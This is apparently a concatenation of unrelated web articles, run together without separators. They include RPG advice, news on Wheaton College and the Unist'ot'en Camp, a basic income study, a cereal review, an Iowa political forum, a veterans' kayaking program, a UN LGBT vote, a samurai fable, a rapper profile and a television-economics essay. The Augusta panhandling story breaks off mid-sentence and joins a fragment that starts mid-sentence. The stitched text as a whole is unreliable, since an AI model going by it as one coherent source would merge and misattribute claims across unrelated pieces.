Let’s get back to the necromancer. The players knew that he was spellcaster. Some even suspected his grim “specialization.” But no one had ever seen him doing magic until the final battle. And it was great. The other players were even trying to investigate to figure out what he could do. There were even bets and gossip suggesting that he wasn’t that powerful. Or possibly that he wasn’t even a mage. He was using his powers, but always in a secret way in places where he was alone. The players still don’t know how much he helped them during the whole campaign.
Here’s another way to give your game an extra twist with a magic user in the party. It’s more effective with higher-level parties, but can work in low-level groups as well. Put a low-level spellcaster in the party. Then convince the player he or she will get some boons later in the game if they play along and not use all of their magical abilities. Ask the player to pretend that the character has more power than they actually have.
This ruse can create many funny and potentially dangerous situations. What happens if the party discovers their archmage is really just an apprentice? It depends on how you like to run your games. Maybe the players become convinced that their spellcaster is really great, just has horrible luck…
Have a magical weekend folks!
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Like this: Like Loading...Wheaton College, an evangelical Christian institution, has disciplined a professor who put on a head scarf in solidarity with Muslims and said they worship the “same God” as Christians.
The private liberal arts college in Wheaton, Ill., said in a statement on Tuesday that Larycia Hawkins, an associate professor of political science, had been placed on administrative leave over “significant questions regarding the theological implications” of recent remarks she made about the relationship between Christianity and Islam.
“As they participate in various causes, it is essential that faculty and staff engage in and speak about public issues in ways that faithfully represent the College’s evangelical Statement of Faith,” the statement said.
The college president, Philip G. Ryken, emphasized in a statement on Wednesday that Dr. Hawkins’s words, not her appearance in a scarf, were the issue. He said Wheaton had “no stated position on the wearing of head scarves as a gesture of care and concern for those in Muslim or other religious communities that may face discrimination or persecution.”What if we all had a basic income whether or not we had lost our job, or worked at an “unpaid” job like raising kids? With the advent of robotized factories and driverless vehicles, many safe jobs today will be gone tomorrow, creating the specter of chronic unemployment for millions. There has been much discussion in some countries recently about providing everyone with a universal basic income to help reduce the pain that comes with “creative disruption” in the workplace. The referendum recently defeated in Switzerland was one of several serious examinations of the question. Now Finland plans to introduce a basic income pilot program in 2017, and similar measures are being considered in France and the Netherlands. Even in the U.S., there’s precedent for the notion: President Nixon once proposed a “guaranteed minimum income.”
There are the obvious advantages to replacing a nightmare spiders-web of income support programs with a simple universal safety net. On the other hand, people worry about the “moral hazard” of handing out money that some might use to slide out of working. Would a universal basic income make families and the economy stronger? Or would it encourage laziness?
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In science, the “gold standard” for answering such questions is a randomized controlled trial. Such an experiment would assign some families, but not others, chosen at random, to receive the basic income. We would then observe the effects on work, income, health and use of public resources such as courts and prisons. You can imagine how hard it would be to get ethical approval for such an experiment. But sometimes experiments quite like this do happen, by chance.
For the past 20 years, one such experiment has quietly been going on in North Carolina. The Eastern Band of Cherokee Indians have a land trust, the Qualla Boundary, which straddles parts of Swain and Jackson counties in the Smoky Mountains, in the western part of the state. In the mid-1990s, they greatly expanded the gambling facilities on the Boundary to include a large casino. Some of the profits from the casino are ploughed back into the tribal community in the form of community services --roads and sewers, hospitals and clinics, gymnasia and schools. But some of the money goes straight back to the individual tribal members in the form of a payment every six months, the amount dependent on the profits from the casino. The “per cap”, as it is called, goes to everyone, young or old, healthy or sick, working or unemployed, law-abiding or not, as long as they are members of the tribe. (Money for children goes into a bank account for them until they graduate high school or reach age 21, whichever comes first.) In recent years the amount of the supplement has been around $4,000 a year.
The “experiment” part of the story happened purely by chance. In 1993 my Duke University colleagues and I began a study of the mental health care needs of 1,420 randomly selected children living in the 11 western-most counties of North Carolina. We were especially interested in the American Indian community, because it provided strong access to mental health care. So we ensured that a quarter of the study sample were American Indian children – 350 of them.
After the study had been running for 4 years the casino opened, but we researchers hardly noticed. Another four years passed and we suddenly woke up to the fact that an important experiment had been going on under our noses: All of the American Indian children in the study, but none of the children in the surrounding counties, lived in families that had received a considerable boost in income.
As we dug into the data, we discovered several intriguing things. Four years after the casino opened, Indian children had fewer behavioral and emotional problems than did neighboring children. Moreover, the effect continued into adulthood. At age 30, one in five of the American Indians had mental health or drug problems, compared with one in three of those in surrounding communities. The Indians had less depression, anxiety and alcohol dependence. The payments had no effect on extremely severe but rare mental illnesses like schizophrenia and bipolar disorder. But those who had received the supplement had better overall health and fewer economic problems. The younger the participants were when their families started getting the casino payments, the stronger the effects on adult mental health.
So does “free money” breed feckless adults? Well, so far our study provides no evidence that it does. Of course, some individuals spent their extra money foolishly, on drugs and drink, just as was true outside the reservation. Most people used their income supplement wisely, however, and there was no evidence that people worked fewer hours. And, of course, it is much cheaper to give people a check than to administer all the complex means tests that go with government welfare programs such as Supplementary Security Income benefits.
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The notion of universal basic income appears to be gaining steam internationally. So when the issue comes up again – as it will – I hope people will consider the evidence. Our experiment is one such piece of evidence. It has been running in the United States for 20 years, and it strongly suggests that on the whole, universal basic income works.Police officers have booked up hotel rooms in Smithers and Burns Lake in preparation for an invasion of the Unist'ot'en Camp, said Grand Chief Stewart Phillip of the Union of BC Indian Chiefs.
The news came in this morning, said Phillip, confirming what have previously been thought to be rumours of an impending "mass arrest operation" on traditional Unist'ot'en territory in northwestern B.C.
“It’s definitely going to come down," he told Vancouver Observer. “We don’t have precise numbers, but it very well could be more than 200 (officers), because this story is totally rippling across the country.”
Calls to hotels in Burns Lake and Smithers by Vancouver Observer suggest they're not completely full. It's unclear how many, if any, hotel rooms have been booked by RCMP.
The Unist'ot'en Camp recently gained major media attention for refusing to allow oil and gas companies to access its land, including Chevron and TransCanada, and denying entry to pipeline officials at the checkpoints it maintains on Moricewest Forest Service Road and Chisolm Road.
National support
More than 400 individuals and organizations have now signed an online declaration of support for the Indigenous group, up from just over 50 yesterday, when word of an RCMP operation started circulating.
“I don’t want to disclose names, but there have been top political leaders who have contacted senior levels of the RCMP again, attempting to persuade them to stand down," said Phillip, who will be heading to the Unist'ot'en Camp on Sunday to support its residents and bear witness to any police action that may take place.
"To mount an operation of this size and begin to execute this plan, (RCMP) would have had to have approval at the highest levels, and that takes considerable time, and I suspect those decisions were made weeks ago."
Unist'ot'en Camp residents and supports tell oil and gas hopefuls that no one is allowed on their land without their explicit consent. Photo courtesy of Unist'ot'en Camp Facebook page.
No confirmation from RCMP
Police officers could not be reached for comment today on plans to raid the camp, but in an email statement to Vancouver Observer yesterday, RCMP media relations officer Cpl. Janelle Shoihet did not directly confirm or deny them:
"We understand that there has been some discussions on social media that don't accurately reflect the RCMP's action or the situation," she said. "To date, there has been no police action. It is our understanding that discussions between industry and the Wet'suwet'en are still possible."
Phillip confirmed that RCMP have indicated that "they really want to keep the peace," but these statements seem to contradict the evidence on the ground.
He said the Unist'ot'en Camp members have spotted what they believe to be two RCMP campsites near the Indigenous residence, likely being prepared to serve as a base of operations for officers and equipment.
"They're in the midst of the logistical undertakings," he explained. "There's a routine in terms of bringing in their forces, taking on supplies and developing base camps. There's a very paramilitary dimension to all of this."The first toaster was invented in 1893.
The first fully functional bread slicer came in 1928.
And in 2016, General Mills released Tiny Toast cereal. Shortly after, bread historians declared a new era of toast prosperity: the Golden Brown Age.
You see, since Cinnamon Toast Crunch isn’t shaped like bread, and since French Toast isn’t made in a toaster, that makes Strawberry and Blueberry Tiny Toast the first truly toast-themed cereals ever made.
It’s hard to believe that Tiny Toast is also General Mills’ first new cereal brand in 15+ years. The only thing harder to believe is that humans had to slice bread by hand like barbarians in order to make toasty delight for 35 whole years.
But it’s true: GM’s last new brand was Harmony Cereal in 2001, a short-lived cereal marketed specifically for women. I’m glad that Tiny Toast is aimed at the much more universal audience of “bread lovers,” and as a self-professed “bread head” myself, I’m just as grateful that both flavors now sit in a bowl before me.
No more loafin’ around: let’s roll!
Strawberry Tiny Toast Cereal
First up is my main squeeze: strawberry. I really do love to squeeze a fresh, juicy strawberry, and apparently General Mills does, too. Both Tiny Toast cereals are made with real fruit ingredients, and it’s really easy to tell.
Every adorable bread slice piece of Strawberry Tiny Toast is absolutely bleeding coated with dried strawberry puree and oozing with genuine strawberry flavor.
It’s not the most authentic strawberry cereal out there—that honor goes to Strawberry Cheerios—but it’s pretty close. With a sweet floral juiciness combined with faint puckering notes of lovingly aged berries, it’s a lot like strawberry jam or jelly…
…strawberry jelly spread on bread, that is. The bread base is floury, mealy, and slightly golden browned at the same time. It isn’t the most exciting flavor base, but it provides a pleasantly pillowy base for the strawberry—kind of like a slice of oatmeal bread slathered in Smucker’s.
The reason the strawberry taste loses a couple authenticity points is because of the powdered sugar coating. Just like in General Mills’ Batman vs. Superman cereals, the stuff is caked on and falls off easily. After every handful, I felt like I robbed a powdered doughnut factory, and now I’ll have to explain to my coworkers why my pants have a healthy pink dusting.
Do you think they’ll believe that the sneezing cotton candy monster is on the loose again?
Pouring milk on Tiny Toast is far from essential, but it keeps you from getting caught red-handed, and it adds a healthy creaminess to the jelly flavor. Combined with the moist, golden bread bites, I got a serious strawberry shortcake vibe (not to be confused with the “Strawberry Shortcake vibes” I get after nightmares about creepy dolls from the ’80s).
But I promise that’s the last straw. It’s time to feel blue in the best kind of way! (I promise that’s the last awful pun, too.)
Blueberry Tiny Toast Cereal
Unlike it’s red twin brother, Blueberry Tiny Toast easily wins the award for “Most Authentic Blueberry Cereal Available from a Major Brand.”
Go ahead and hang that award on your refrigerator, Blueberry, right next to your straight B’s report card.
The base bread flavor remains the same, but now the dried blood is replaced with Phazon-colored blueberry powder. It has a happy balance of berry sweetness and tangy tartness, and coupled with the bread flavor, it’s like crunchy Blueberry Nutri-Grain Bar bites.
As someone who once survived the eighth year of his life entirely on Nutri-Grain Bars, Capri-Suns, and Rocko’s Modern Life re-runs, this is a high compliment. Boo Berry could only dream of having a cereal this genuinely blueberry-y (can ghosts even dream? And if they did would they have nightmares of Dan Aykroyd?)
The messy and potentially cloying sugar coating is still a problem, but as before, it’s easy to soak these in milk for a juicy experience reminiscent of freshly baked blueberry pie.
I tried to think of something majorly bad about Tiny Toast, but unless you hate fruit, sticky sugar dust, or bread (for some unfathomable reason), these are worth a try. Unlike the butt slice of bread, these seriously tasty toasties won’t be the butt of anyone’s joke.
As a bonus, if you eat both Tiny Toasts together, it’s like a handful of those gloriously squishy Kellogg’s Fruity Snacks. This means that Raspberry Tiny Toast has to come next. And while we’re at it, a PB&J Tiny Toast wouldn’t be too bad either.
And if you’re already taking notes, General Mills, how about a Banana Bread Tiny Toast? Oh, and I don’t mean to interrupt, but an Apple Cinnamon Tiny Toast would be nice, too.
You know what? I’ll just email you the other 20 ideas.
The Bowl: Strawberry and Blueberry Tiny Toast
The Breakdown: With enough super real fruit flavor and super dusty sugar on top, these bread-y buddies are ready for the mouths of jelly lovers everywhere.
The Bottom Line (Strawberry): 8.5 bread-slicing cavemen out of 10
The Bottom Line (Blueberry): 9 vengeful Boo Berry poltergeists out of 10
(Quick Nutrition Facts – both flavors – 120 calories, 1 gram of fiber, 9 grams of sugar, and 2 grams of protein per 3/4 cup serving)
***As usual, or pals at Junk Banter and Snack Cellar have reviews, too!***Seven Republican presidential candidates will be travelling to Iowa today to take part in a “presidential family forum” hosted by The Family Leader, a social conservative group led by activist Bob Vander Plaats, who is seen as a kingmaker in the Iowa caucus.
Ben Carson, Ted Cruz, Carly Fiorina, Mike Huckabee, Rand Paul, Marco Rubio and Rick Santorum will all be speaking at the forum, at which the candidates are arranged family-style around a Thanksgiving table. (At the 2011 forum, Michele Bachmann memorably took it upon herself to serve water to all of the male candidates.)
The endorsement of Vander Plaats, whose backing helped catapult Huckabee and Santorum to Iowa caucus victories in 2008 and 2012, is one of the most coveted in the state. While most observers think that Cruz will nab Vander Plaats’ endorsement, the activist is keeping his options open. Vander Plaats told a reporter that although Donald Trump was unable to make tonight’s forum, he told him, “If you can guarantee me your endorsement, I will turn the plane around and get there.”
As Vander Plaats’ previous endorsements of Huckabee and Santorum show, he has a powerful machine ready to push an ideologically pure social conservative. Back in 2010, Vander Plaats also led a successful effort to remove three Iowa Supreme Court judges who participated in the court’s landmark unanimous marriage equality decision.
But to get that endorsement, candidates must cater to an activist far the right of mainstream voters. Not only does Vander Plaats want to remove from office or defund the courts of judges who find in favor of marriage equality, he believes that anything, like gay marriage, that “goes against the law of nature” is by definition unconstitutional. He argues that the government is an institution of God and therefor its purpose is “to promote righteousness” and to apply “God’s principles and precepts.” He once warned that God might withdraw his blessing from America because of a Wiccan prayer at the Iowa state capitol.
Vander Plaats has suggested that marriage equality could lead to legal protections for pedophilia and “ a parent marrying their child” and compared the “public health risk” of homosexuality to second-hand smoke. He has praised Russian President Vladimir Putin for his “decisive leadership” in preventing “homosexual propaganda” in his country.
Taking its anti-gay sentiment to a new level, The Family Leader was a sponsor of a conference earlier this month — at which Cruz, Huckabee and then-candidate Bobby Jindal spoke — whose organizer, Kevin Swanson, called for the death penalty for gay people and warned that God would judge America for liking the Harry Potter series too much. (The group later clarified that it does not support violence against gay people but declined to denounce Swanson.)
Speaking at an event last year, Vander Plaats played a video showing a gay pride event alongside the Boston Marathon bombing and mass shootings as illustrations of the “darkness” that has fallen over America:
Vander Plaats had also dabbled in birther conspiracy theories, implying in 2011 that the president’s birth certificate was missing and praising Trump for his “bold” crusade to uncover the truth about the president’s past.gamefreaksnz:
Skyrim Mash-Up Coming to Minecraft for the Xbox 360
[Press release] Today at Minecon 2013, Mojang, Bethesda Game Studios, and Microsoft Studios proudly announced the development of “The Elder Scrolls V: Skyrim” Mash-Up pack for Minecraft: Xbox 360 Edition. Coming soon, this new pack will transform the legendary world of “The Elder Scrolls V: Skyrim” into the iconic, pixelated look of Minecraft.
Developed by 4J Studios, “The Elder Scrolls V: Skyrim” Mash-Up features an exclusive Skyrim-themed texture set, 40 character skins, themed menus and user interface, craftable items, and more than 20 iconic selections from “The Elder Scrolls V: Skyrim” original game soundtrack. The comprehensive pack also includes a stunning pre-made world, recreating the memorable areas of Whiterun, Riverwood, and Bleak Falls Barrow.
Minecraft fans can check out and play the “The Elder Scrolls V: Skyrim” Mash-Up for the very first time at Minecon 2013 in Orlando, Fla. on Nov. 2 – 3.ROCKAWAY TOWNSHIP — When Ed Sabir came home from the jungles of Vietnam in 1966, he knew something was wrong.
He wouldn't know it for certain for several decades, but he had been exposed to Agent Orange — a highly toxic defoliant used extensively in jungle warfare — in the wilds of Phu Vin, about 50 miles north of Saigon. That chemical and his experiences in the war, Sabir said, changed his life for the worse.
Sabir, of the U.S. Army First Division Logistics, wasn't alone when he returned from the conflict: tinnitus, anxiety, anger and post-traumatic stress disorder joined him back in the states. His first marriage, his ability to sleep in a bed and any sense of calm he had were collateral damage when he came home.
"It's like you have a time bomb inside you that you know is going to come to an end, and you don't know whether you can delay it or stop it," Sabir said, referring to his anger and anxiety.
Sabir, of Lakeside, never remembers his dreams, but he has them almost every night. He'll often wake up after a typical two- to three-hour sleep in a panic and with the sheets wrapped around his neck. Sabir, who later remarried, still can't sleep in bed next to anyone. For years, he's slept on a mattress on the ground.
"Technically, I should have been dead a long time ago," Sabir said. "Sometimes I look in the mirror and I wonder how I got this far."
However, at the age of 71, Sabir said, he believes he's found a sliver of peace that's escaped him for years. That peace, he said, was found in open water in a kayak, which was why he was at a lake at Picatinny Arsenal Saturday.
"This is paradise to me," Sabir said.
Sabir said the last time he had "a good sleep" was after he went kayaking at the Delaware Water Gap last year with Heroes on the Water — a therapeutic kayak-fishing program dedicated to the rehabilitation of disabled, active-duty personnel and veterans.
"They're a beautiful bunch of people," Sabir said. "They're heaven sent."
Heroes on the Water started in 2007 at Brooke Army Medical Center in Texas as a way to help wounded veterans "get physical," Jonathan Mueller, spokesman for the group's New Jersey chapter, said.
While physical therapists address wounded veterans' bodies and psychiatrists tend to their minds, Muller said, kayaking and fishing in semi-private locations — along with the group's camaraderie — helps treat veterans' spirits.
In 2012, Heroes on the Water started a chapter in New Jersey which has quickly grown and attracted dozens of volunteers and wounded veterans, Mueller said.
Pamela Smejkal, who lives near Lakehurst, said Heroes on the Water helped her connect to people again as the group has been "like a family" to her.
Smejkal, who served in Germany and Afghanistan with the New Jersey National Guard, has rheumatoid arthritis and PTSD, which, for her, manifests as "a high startle response," anxiety and depression.
That makes living in Lakehurst difficult, Smejkal said, because it's filled with "the sounds of war" such as helicopters and airplanes from the nearby military bases. It's even worse on New Year's Eve and the Fourth of July when people blow up fireworks.
Shopping at the supermarket used to be more of a challenge, too, before her service dog, Gunny, she said. The dog helps keep supermarket aisles clear for her when she shops, otherwise, the anxiety can be crippling. Even still, it's been a challenge to leave her home, which is why Heroes on the Water had been a much needed change in her life, she said.
Besides helping her get out of the house, Smejkal said, volunteers and members of the group regularly kept in touch on Facebook to see how everyone is doing and to provide a much needed connection.
"They've done so much for me," Smejkal said.
U.S. Army Major Troy Brannon, who helped organize Saturday's event at Picatinny Arsenal, said about 30 volunteers participated in the day-long kayaking and fishing outing, and that those volunteers along with local sponsors supplied veterans with kayaks, fishing rods and reels, tackle, flotation devices, safety instructions and lunch.
Everything is provided at no cost to the veterans or their families, Brannon said.
Brannon, who first arrived at the group as a participant for injuries sustained over the course of 24 years in the military including four deployments in Afghanistan, a rocket attack and a fused spine, said the group served as a form for rehabilitation for families as well.
Sabir, who began receiving treatment in 2008 for his PTSD, said the rehabilitation aspect of Heroes on the Water and the group activity had had tangible impacts on his life, and helped him stay more in control of his anger.
Sabir, though, said he's more reserved with the medication than recommended because he believes there's a tendency in the Department of Veterans Affairs to overprescribe to wounded veterans instead of treating the non-physical wounds.
"Don't pill a guy to death," Sabir said. "Kayaking is my medicine. If I submit completely to all the medications, I'd be a zombie, man. I feel more in control on my kayak with less medication than with more medication."
Sabir has found other ways to help treat his psychological wounds, too. He's currently training to be a veteran service officer in order to serve "as a go-between for wounded veterans and veterans services."GENEVA (Reuters) - The U.N. Human Rights Council agreed on Thursday to appoint an independent investigator to help protect homosexuals and transgender people worldwide from violence and discrimination.
A participant holds up a rainbow flag during a gay pride parade in Managua, Nicaragua June 28, 2016. REUTERS/Oswaldo Rivas
After a heated debate lasting almost four hours, the 47-member state forum overcame strong objections by Saudi Arabia and Muslim countries to adopt a Western-backed resolution by a vote of 23 states in favor and 18 against with six abstentions.
The United Nations expert, still to be named, will have a three-year mandate.
Mexico, which led Latin American states that were the main sponsors of the text, said that thousands of people are exposed to violence and discrimination due to their sexual orientation and gender identity.
“Remember Orlando,” Mexican Ambassador Jorge Lomónaco told delegates, referring to the massacre of 49 people at a gay club in Florida on June 12. “Let us give hope to millions.”
The United States and major European countries backed the resolution, while China, Russia and 16 African and predominantly Muslim states rejected it. India, South Africa and the Philippines were among the abstainers.
“This Council regularly – and rightly – passes resolutions on racism, women and children. Yet, on this issue, we often hear of culture and tradition as reasons to justify violence against individuals based on their sexual orientation and gender identity,” British Ambassador Julian Braithwaite said in debate.
“This affects people in this room, and people in my team who are LGBT. Are you saying it is okay to discriminate against them based on their sexual orientation and gender identity? To hit, torture, or possibly kill them? Because that is what you are supporting, if you vote against this resolution.”
Early in the session, Saudi Ambassador Faisal Trad brought a “no-action motion” to quash any debate on the resolution, but his move was defeated.
Trad argued against what he called “the imposition of certain ideas” and said the new post would open up a “Pandora’s box” while ignoring cultural and religious specificities.
“We will not barter man-made legislation against divine laws,” Trad said, invoking sharia (Islamic law).
Nigeria called the resolution “divisive” and said that the sponsors also wanted to promote same-sex adoptions.
Pakistan - speaking on behalf of the Organisation of Islamic Cooperation (OIC) of 57 states - decried the “promoting of certain notions, concepts and lifestyles on which there is no consensus”.
In 2011, the U.N. rights body declared there should be no discrimination or violence against people based on their sexual orientation. At the time, Western countries called the vote historic but Islamic states firmly rejected it.There once lived a samurai who was plagued by a large and clever rat who had the run of the house. This annoyed the samurai to no end so he went to the village to buy a cat. A street vender sold him a cat that he said would catch the rat, and indeed the cat looked trim and fit. But the rat was even quicker than the cat and after a week with no success the samurai returned the cat.
This time the vender pulled out a large and grizzled cat and guaranteed that no rat could escape this master mouser. The rat knew enough to stay clear of this tough alley cat, but when the cat slept, the rat ran about. Half the day the rat would hide, but the other half he again had run of the place. The samurai brought the cat back to the vender who shook his head in despair saying he had given the samurai his best cat and there was nothing more he could do.
Returning home with his money, the samurai happened upon a monk and sought his advise. After hearing the samurai’s story the monk offered him the services of the cat that lived in the temple. The cat was old and fat and he scarcely seemed to notice when he was carried away by the doubtful samurai. For two weeks the cat did little more than sleep all day and night. The samurai wanted to give the cat back to the temple but the monk insisted he keep him a while longer assuring him the rat’s days were close to an end.
The rat became accustomed to the presence of the lazy old cat and was soon up to his old tricks even, on occasion, brazenly dancing around the old cat as he slept. Then one day, as the rat went about his business without any concern, he passed close by the cat who swiftly struck out his paw and pinned the rat to the floor. The rat died instantly.The mid-evening sun hangs over a blue rowhouse in Ridgewood, Queens on the longest day of the year, and a throng of teens from all over New York City have been partying since noon. They’ve come to roast hotdogs, rejoice under the light of the summer solstice, and most importantly, to celebrate the release of May God Bless Your Hustle, a mixtape by an 18-year-old named Michael Jordan Bonema, who raps as, simply, MIKE. The house is known as The Cabin, an incubator for a talented young DIY hip-hop scene, helmed by squads of prodigious rappers and producers who met on the internet and endure the long, sleepy train rides between boroughs to visit each other.
MIKE: "Gods With Me" (via SoundCloud)
May God Bless Your Hustle is a vivid document crammed with biographical details, wizkid observations, and frank confessions about mental health. “Looking for some walls for my fists to scar/Ninth grade hoping I ain’t missed the cars,” Bonema raps on “Rockbottom/Peace to Come,” recalling moments when he would recklessly cross busy streets, his head in a cloud of indifference. The tape showcases his rumbling baritone, which can hit like a concrete block thrown from a rooftop or float featherweight across a beat, and a tape-hiss soul sound inspired by MF DOOM and King Krule that’s as caustic as it is smooth. In the last two years, he’s released a steady flow of tracks on his Bandcamp page, gaining support from rap fans and fellow artists, including his hero, Earl Sweatshirt. Bonema messaged Earl a thank you note for purchasing one of his early mixtapes, and they have since become friends IRL, with Earl helping Bonema navigate the perils of prodigious success. In conversation, Bonema casually refers to his mentor by his real name, Thebe.
MIKE: "Armour" (Buy on Bandcamp)
Bonema’s been rapping since he was 14, and his talents are now coming into focus. In his raps, he’s an apt chronicler of teen life, and his writing can infuse meaning into the banal social transactions and errant thoughts that occupy the space of a regular day; coming from Bonema’s mind and mouth, a friend’s handshake, subway advertisements, or a dead cellphone are clues to a grander plan.
Bonema was born in South Livingston, New Jersey but he has moved around a lot. He spent a chunk of his childhood in England, because his mother saw better educational opportunities for him there. He grew up between the London neighborhood of Hackney and just outside the city in Essex. It was there, around the age of 10, that he first got interested in rap after encountering a grime music video on TV. Two years later, in 2010, he moved back Stateside to live in Philadelphia with his dad. He spent four years there, listening to Chance the Rapper and gawkily teaching himself to rhyme over MF DOOM beats he found on YouTube. In 2014, he followed his father to Brooklyn before moving to the Bronx a year later.
MIKE: "Standout" [ft. Wiki and Chip Skylark] (Buy on Bandcamp)
He’s now part of a crew called the sLUms, formed from friends he made on SoundCloud and in his Brooklyn high school. For someone who is a relative newcomer to the city, his ability to render it in song can be photorealistic, like how he elegantly describes the process of buying a blunt wrapper in a bodega: “I cop a Swisher off Rivington/Watch the center split/Seep like licorice.” Part of this comes from the endless train rides he took from home to school and back, watching silently as people went about their day. And while his powers of observation are impressively mature, the confessional nature of his music makes it even more affecting.
When I meet Bonema for the first time in a Sri Lankan restaurant in the Lower East Side, he is gregarious and forthcoming, eager to dig into his upbringing and his love of Atlanta hip-hop. He’s quick to admit that music isn’t just a career choice, but the only way he can vent about the pressures of his life. Since moving back to the States seven years ago, he’s only been able see his mother once, due to paperwork issues. (She currently lives in Nigeria.) “May God bless your hustle” is a comment she often leaves on his Instagram pictures and tells him over the phone.
MIKE: “Years/Alone” (via SoundCloud)
At the party in Ridgewood, it’s closing in on midnight when Bonema steps into the center of the living room to perform his new tape live. For some of the kids who’ve trekked here to see him, a school day awaits in the morning. When I ask people in the crowd why they like him, they point to how he talks about problems they all deal with: depression, having no money in your pocket, parents not getting you. The speakers sputter to life, and the conversation quiets. Bonema says how grateful he is for everyone making it out, and his deep voice cracks a little bit. Everyone smiles, including him.AUGUSTA — Most days, Robert Gregoire carries out his duties as Augusta police chief. But he took on a different role Friday – that of a faux panhandler working Memorial Circle.
Instead of seeking a handout, however, Gregoire’s cardboard sign urged drivers to ignore the solicitations of panhandlers on the circle and instead give money to a social service agency that will serve the greater good.
Additional Photos Augusta Police Chief Robert Gregoire speaks with a driver Friday while carrying a sign that discourages motorists from giving money to panhandlers at Memorial Circle. Andy Molloy/Kennebec Journal Lloyd Bowden, 55, panhandles Friday at Memorial Circle in Augusta. Bowden said he is living in the basement of a relative’s house in Augusta until he can buy a tent. He said the money people give him goes “all to food.” Andy Molloy/Kennebec Journal
Though careful not to paint all panhandlers with the same brush, Gregoire said the reality is that many of those asking passers-by for money will use it to feed their habits rather than for food or shelter.
“People sit out here a few hours and we’re dealing with them the rest of the night,” Gregoire said. “They aren’t using it for what people |
is an upside to allowing a network to monetize your enthusiasm — the depth of your attachment to Firefly — the same way they can now monetize your simple, more passive habit of watching the show by selling commercials. There is an upside, as a fan, to letting them exploit you. There is merit in putting your money where your heart is.
Traditional media outlets thus far find habit very easy to monetize and enthusiasm very difficult. For the moment, particularly with the collapse of the DVD market, but for a little bit of gift-shop merchandise, someone who loves a cult television show on a broadcast network isn't worth all that much more than someone who likes it. Once you get past the threshold of "turns it on," it doesn't matter much economically whether it's your passion or your pastime. What matters is that you will come back, sit in front of the show, and be counted, week in and week out.
This is why television speaks about the capture of eyeballs and not hearts. This is what makes broadcasting "broad." It's the reason a show like Community — or Firefly, or My So-Called Life — can struggle to remain on the air despite what seems to be a cultural imprint that outstrips other things that were or are on at the same time. If a show's impact is narrow but deep, it is massively more likely to be canceled by a broadcast network than a show with an impact that's wide but shallow, even if the total area covered is the same. That's not because the shows have different intrinsic value, necessarily, but because the latter has value they know how to extract. Broadcast television doesn't know, yet, how to monetize passion except on a sort of logorithmic curve of rapidly diminishing returns.
Premium cable is the opposite. They are all about the buying and selling of love. Because really, all HBO needs is for you to need HBO. If they give you two shows a year that you care about a little, you'll cancel your subscription. If they give you two shows a year that you care about a lot, you might pay just for those. So for one thing, they don't even have to fill an entire schedule as long as they give you enough to tip you into subscribing. Broadcast networks are asked to fill sometimes seven or eight or nine times as much space in prime time with new stuff as premium cable does; ask yourself how much better NBC would be if they only had to air two hours of new series at a time.
But the economics also seem to favor love. Your passion matters more; ergo, how passion-building the show is matters more economically as well as creatively; ergo, on average, it's worth it to them to build deep attachments; ergo, on average, they make more interesting and daring shows meant to be loved deeply, not necessarily broadly.
That's not always true, not by a long shot. There's still a lot of room for terrific broadcast TV. But on average, premium cable shows are better and smarter for the people they target than broadcast shows, and the fact that monetizing enthusiasm is woven into the business model certainly seems to be part of the reason. And so the Age of Enthusiasm is the Age of Premium Cable.
That's why you sometimes hear that HBO doesn't care about ratings, which is both true and not true. They don't care nearly as much as, say, CBS does. But they would care if the ratings were such that a show couldn't affect an appreciable number of people's decisions about subscribing to HBO.
Basic cable is a little different — broad is good for them, because they have ad revenue. But deep is good for them, because they want you to insist that your cable company carry their channel. Consider a channel like Bravo. On one hand, a big audience watches lots of ads. But on the other hand, an impassioned audience is going to freak out if a cable company decides to hold the line on what it's paying to carry the channel and the result is that they can't see The Real Housewives Of New Jersey. They'll care. They'll complain. And hell, if that happens enough times, maybe they'll cut the cord.
You'd think enthusiasts would understand this, that they'd have enough familiarity with the workings of television supported by ad sales that they would know it was about breadth and not depth in most cases, particularly for broadcast.
But they don't, really. How can you tell? Because when they lobby a network to keep a show, even on broadcast, what they put on is a grand demonstration of passion. They send nuts, soap, candy bars, potatoes, they fly banners and take out ads — they're showing depth, not breadth. It hurts to hear as someone who loves something, but if you're passionate, they're not worried about you. They already know about you. And they love you back, but you're not the point. Even the lowest-rated, fastest-canceled show every year breaks somebody's heart, somewhere. Just like even the ugliest puppy is cute to someone, even a flop is somebody's favorite.
We All Love Everything
It's possible that there was a time when enthusiastic engagement could act as a proxy and could stand in for viewership bigger than itself. This is the television version of the politician's "when I get one letter, I assume 10,000 more people feel the same way and didn't write to me" argument. This was the Viewers For Quality Television model widely credited with saving Cagney And Lacey and Designing Women. They wrote letters; it was assumed that if this many people felt strongly, more people felt similarly, if less passionately.
But it's become harder to suss out the relationship between enthusiasts and casual viewers. Does a show like Community really have casual viewers? There was a night in March 2013 when Entertainment Weekly pointed out that while Community fans often chalked up its poor performance in the ratings to being on opposite the powerhouse The Big Bang Theory, even with Big Bang a rerun and Community new, the latter saw no increase in its numbers at all. Big Bang shed about eight million viewers off its average, but Community gained nothing.
There are lots of ways to read ratings, and the picture is usually more complicated than it appears, but maybe when it comes to Community, you are either In or you are Out. If you watch it, you follow it wherever it goes, no matter what's on opposite it. (Faith in this interpretation may be why NBC has toyed with keeping the show, but moving it to the miserable pit known as Friday night.) If you don't watch it, it's not because it's your second choice. It's because it's not in your top ten.
Enthusiasm And The Out-Loud Internet
When you think about the way that life online collides with enthusiasm, you have to think about two things. One is the Functional Internet, which is the one that lets you choose your own shows on Netflix, buy a standup special directly from Louis C.K., read all kinds of news on Google, or seek out an undistributed short film that you would otherwise have no opportunity to see.
The other is the Out-Loud Internet, the cacophonous cultural conversation across hundreds of millions of strangers that literally did not exist in its current unformed form, available to ordinary people as well as tech types, until perhaps the last 15 years. And to the degree it takes place on Twitter, it's more like five.
The Out-Loud Internet is thick with little havens of kindness and good humor and all-in, smart-talking excitement. But if you put a conversation anyone cares about in the hands of the Out-Loud Internet with no moderation, no controls, and no interference, you will find that as it becomes a larger and larger discussion, the likelihood of its becoming primarily angry — no matter how inconsequential it may seem — approaches 100 percent.
Solutions to that problem, should you find it a problem, are elusive. Contrary to popular belief, it's not just anonymity that builds hostility online. Anyone who's ever seen ugliness in full flower is aware that many of those people would be perfectly happy to be insulting, unpleasant and small-minded using their real names and identities. Many of them do it.
If it's not just anonymity — most of us on the Internet are not dogs, after all — then what is it?
